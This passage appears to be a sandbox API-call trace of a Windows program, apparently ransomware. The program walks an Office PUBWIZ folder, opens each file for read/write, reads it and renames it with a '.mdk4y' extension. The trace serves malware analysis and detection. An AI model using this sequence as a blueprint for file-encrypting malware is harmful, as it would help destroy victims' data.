out: lpMultiByteStr="ACCSBAR.POCefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37df4c) returned 11 [0238.121] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\ACCSBAR.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\accsbar.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0238.158] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831338800000) returned 1 [0238.158] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2d9e, lpOverlapped=0x0) returned 1 [0238.174] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831340400000) returned 1 [0238.174] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831340400000) returned 1 [0238.175] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\ACCSBAR.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\accsbar.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\ACCSBAR.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\accsbar.poc.mdk4y")) returned 1 [0238.177] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0238.177] AreFileApisANSI () returned 1 [0238.177] GetACP () returned 0x4e4 [0238.177] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ACCTBOX.POC", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ACCTBOX.POC", lpUsedDefaultChar=0x37df4c) returned 11 [0238.177] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\ACCTBOX.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\acctbox.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0238.178] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831340800000) returned 1 [0238.178] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1cba, lpOverlapped=0x0) returned 1 [0238.180] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831341000000) returned 1 [0238.180] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831341000000) returned 1 [0238.180] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\ACCTBOX.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\acctbox.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\ACCTBOX.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\acctbox.poc.mdk4y")) returned 1 [0238.182] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0238.182] AreFileApisANSI () returned 1 [0238.182] GetACP () returned 0x4e4 [0238.182] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AD.DPV", cchWideChar=6, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AD.DPVX.POC", lpUsedDefaultChar=0x37df4c) returned 6 [0238.182] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\AD.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\ad.dpv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0238.184] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831341400000) returned 1 [0238.184] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x5f09, lpOverlapped=0x0) returned 1 [0238.185] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831341500000) returned 1 [0238.185] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831341500000) returned 1 [0238.186] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\AD.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\ad.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\AD.DPV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\ad.dpv.mdk4y")) returned 1 [0238.188] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0238.188] AreFileApisANSI () returned 1 [0238.188] GetACP () returned 0x4e4 [0238.188] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AD.XML", cchWideChar=6, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AD.XML", lpUsedDefaultChar=0x37df4c) returned 6 [0238.188] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\AD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\ad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0238.189] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831341900000) returned 1 [0238.190] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x40a, lpOverlapped=0x0) returned 1 [0238.191] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831342100000) returned 1 [0238.191] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831342100000) returned 1 [0238.191] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\AD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\ad.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\AD.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\ad.xml.mdk4y")) returned 1 [0238.193] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0238.193] AreFileApisANSI () returned 1 [0238.193] GetACP () returned 0x4e4 [0238.193] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AD98.POC", cchWideChar=8, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AD98.POCPOC", lpUsedDefaultChar=0x37df4c) returned 8 [0238.193] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\AD98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\ad98.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0238.195] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831342500000) returned 1 [0238.195] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xb95a, lpOverlapped=0x0) returned 1 [0238.204] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831343400000) returned 1 [0238.204] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831343400000) returned 1 [0238.205] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\AD98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\ad98.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\AD98.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\ad98.poc.mdk4y")) returned 1 [0238.207] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0238.207] AreFileApisANSI () returned 1 [0238.207] GetACP () returned 0x4e4 [0238.207] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ADRESPEL.POC", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ADRESPEL.POCfTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37df4c) returned 12 [0238.207] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\ADRESPEL.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\adrespel.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0238.209] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831343900000) returned 1 [0238.209] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x854, lpOverlapped=0x0) returned 1 [0238.211] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831344100000) returned 1 [0238.211] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831344100000) returned 1 [0238.211] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\ADRESPEL.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\adrespel.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\ADRESPEL.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\adrespel.poc.mdk4y")) returned 1 [0238.228] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0238.228] AreFileApisANSI () returned 1 [0238.228] GetACP () returned 0x4e4 [0238.228] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AIR98.POC", cchWideChar=9, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AIR98.POCPOC", lpUsedDefaultChar=0x37df4c) returned 9 [0238.228] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\AIR98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\air98.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0238.230] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831346000000) returned 1 [0238.230] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x594c, lpOverlapped=0x0) returned 1 [0238.231] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831346100000) returned 1 [0238.231] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831346100000) returned 1 [0238.232] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\AIR98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\air98.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\AIR98.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\air98.poc.mdk4y")) returned 1 [0238.234] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0238.234] AreFileApisANSI () returned 1 [0238.234] GetACP () returned 0x4e4 [0238.234] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AWARDHM.POC", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AWARDHM.POCC", lpUsedDefaultChar=0x37df4c) returned 11 [0238.234] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\AWARDHM.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\awardhm.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0238.236] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831346600000) returned 1 [0238.236] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xa402, lpOverlapped=0x0) returned 1 [0238.244] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831347400000) returned 1 [0238.244] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831347400000) returned 1 [0238.244] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\AWARDHM.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\awardhm.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\AWARDHM.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\awardhm.poc.mdk4y")) returned 1 [0238.247] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0238.247] AreFileApisANSI () returned 1 [0238.247] GetACP () returned 0x4e4 [0238.247] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BAN98.POC", cchWideChar=9, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BAN98.POCOC", lpUsedDefaultChar=0x37df4c) returned 9 [0238.247] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BAN98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\ban98.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0238.249] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831347900000) returned 1 [0238.249] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x91cc, lpOverlapped=0x0) returned 1 [0238.256] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831348600000) returned 1 [0238.256] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831348600000) returned 1 [0238.256] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BAN98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\ban98.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BAN98.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\ban98.poc.mdk4y")) returned 1 [0238.259] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0238.259] AreFileApisANSI () returned 1 [0238.259] GetACP () returned 0x4e4 [0238.259] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BANNER.DPV", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BANNER.DPVC", lpUsedDefaultChar=0x37df4c) returned 10 [0238.259] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BANNER.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\banner.dpv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0238.261] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831349100000) returned 1 [0238.261] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xd2e3, lpOverlapped=0x0) returned 1 [0238.267] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831349700000) returned 1 [0238.267] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831349700000) returned 1 [0238.268] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BANNER.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\banner.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BANNER.DPV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\banner.dpv.mdk4y")) returned 1 [0238.270] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0238.270] AreFileApisANSI () returned 1 [0238.270] GetACP () returned 0x4e4 [0238.270] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BANNER.XML", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BANNER.XML", lpUsedDefaultChar=0x37df4c) returned 10 [0238.270] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BANNER.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\banner.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0238.271] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831350100000) returned 1 [0238.272] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x236c, lpOverlapped=0x0) returned 1 [0238.298] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831352800000) returned 1 [0238.298] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831352800000) returned 1 [0238.299] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BANNER.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\banner.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BANNER.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\banner.xml.mdk4y")) returned 1 [0238.301] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0238.301] AreFileApisANSI () returned 1 [0238.301] GetACP () returned 0x4e4 [0238.301] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BDRTKFUL.POC", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BDRTKFUL.POC", lpUsedDefaultChar=0x37df4c) returned 12 [0238.301] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BDRTKFUL.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bdrtkful.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0238.303] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831353300000) returned 1 [0238.303] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4d90, lpOverlapped=0x0) returned 1 [0238.305] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831353500000) returned 1 [0238.305] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831353500000) returned 1 [0238.306] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BDRTKFUL.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bdrtkful.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BDRTKFUL.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bdrtkful.poc.mdk4y")) returned 1 [0238.308] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0238.308] AreFileApisANSI () returned 1 [0238.308] GetACP () returned 0x4e4 [0238.308] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BIZCARD.DPV", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BIZCARD.DPVC", lpUsedDefaultChar=0x37df4c) returned 11 [0238.309] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BIZCARD.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bizcard.dpv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0238.310] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831354000000) returned 1 [0238.310] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3f40c, lpOverlapped=0x0) returned 1 [0238.321] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831355100000) returned 1 [0238.321] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831355100000) returned 1 [0238.325] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BIZCARD.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bizcard.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BIZCARD.DPV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bizcard.dpv.mdk4y")) returned 1 [0238.327] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0238.327] AreFileApisANSI () returned 1 [0238.327] GetACP () returned 0x4e4 [0238.327] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BIZCARD.XML", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BIZCARD.XML", lpUsedDefaultChar=0x37df4c) returned 11 [0238.328] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BIZCARD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bizcard.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0238.330] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831356000000) returned 1 [0238.330] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x31ba, lpOverlapped=0x0) returned 1 [0238.332] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831356200000) returned 1 [0238.332] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831356200000) returned 1 [0238.333] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BIZCARD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bizcard.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BIZCARD.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bizcard.xml.mdk4y")) returned 1 [0238.335] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0238.335] AreFileApisANSI () returned 1 [0238.335] GetACP () returned 0x4e4 [0238.335] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BIZFORM.DPV", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BIZFORM.DPV", 